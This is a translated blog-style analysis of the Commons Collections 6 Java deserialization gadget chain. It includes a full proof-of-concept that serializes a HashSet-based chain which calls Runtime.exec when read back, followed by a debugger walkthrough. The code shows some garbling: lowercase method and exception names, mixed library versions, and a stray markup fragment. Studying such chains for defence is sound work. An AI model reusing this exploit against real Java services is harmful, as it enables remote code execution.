Analysis of common collections 6 for Java Security
Analysis of common collections 6 for Java Security
0x00 Preface
In fact, the analysis of several chains are roughly the same, which are based on the deformation of some previous chains. The cc6 chain in this paper is a little different from the previous one. The cc6 chain is also similar to the CC5 utilization chain, but the cc6 chain uses the HashSet to trigger the get method of lazymap. In CC5, badattributevalueexpexception is used.
0x01 POC analysis
It's better to simplify the POC code here, because ysoserial has done a lot of optimization and encapsulation. So when I read the code for the first time, although I can understand it, it's not easy to clarify my ideas.
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException,illegalaccessexception,IOException,ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer,transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
The above code is an important code extracted from the POC found on the Internet. First, you have to execute it again to see if the POC code can run normally.
It can be executed normally. Let's analyze the structure of POC later. The previous code is the same as CC1, so I won't repeat it.
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
This code also appears in the construction of CC5 chain. When map and lazymap are called, the get method will call the transform method. Here, the tiedmapentry class is used to pass in the lazymap instantiated object. Calling the getValue of tiedmapentry will call the get method inside the getValue.
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
In this step, the HashSet is used to construct and add the tiedmapentry instantiation object in front. Lazymap. Is also called later The remove method removes test1 because lazymap is not used during execution Remove removes test1 and will not enter the judgment statement.
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer,transformers);
In fact, the above paragraph is to prevent the constructed command from being executed locally during serialization. amount to
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
This code.
0x02 POC commissioning
Make a breakpoint at the readObject replication point for debugging, that is, the readObject of HashSet.
In the readObject method of HashSet, go back and call the put method of map. The map here is the object of HashMap, so the put method of HashMap is called here. Follow up this method.
In this step, you will call the hash method and pass in the key as the parameter. You need to follow up the hash method again.
@H_ 404_ 134@
Following up the method, you will find that the hashcode of the key will be called inside the method, and the key here is the instantiated object of tiedmapentry. The hashcode of tiedmapentry is called. Follow up the hashcode method.
Here you can see that hashcode will also call the getValue method. The following content is actually the same as the utilization chain of CC5.
Come to getValue
This will be called here map. Get () method, this Map is an instantiated object of lazymap. The following POC code is used for this Map.
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
In order to make the whole utilization chain clearer, follow up the get method of lazymap.
As mentioned earlier, lazymap The remove method removes the previously filled key before it can proceed to the if judgment statement to execute the transform method. Otherwise, it will directly go to the method body of else. If you can't achieve the desired effect, you can't execute the command by using the chain.
In fact, this step has been very clear. The following will not be analyzed. The previous articles have been analyzed many times.
Utilization chain
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec
0x03 end
In fact, this article only selects some key points for analysis. Other places are the same as the previous ones, so there is no need to analyze them again.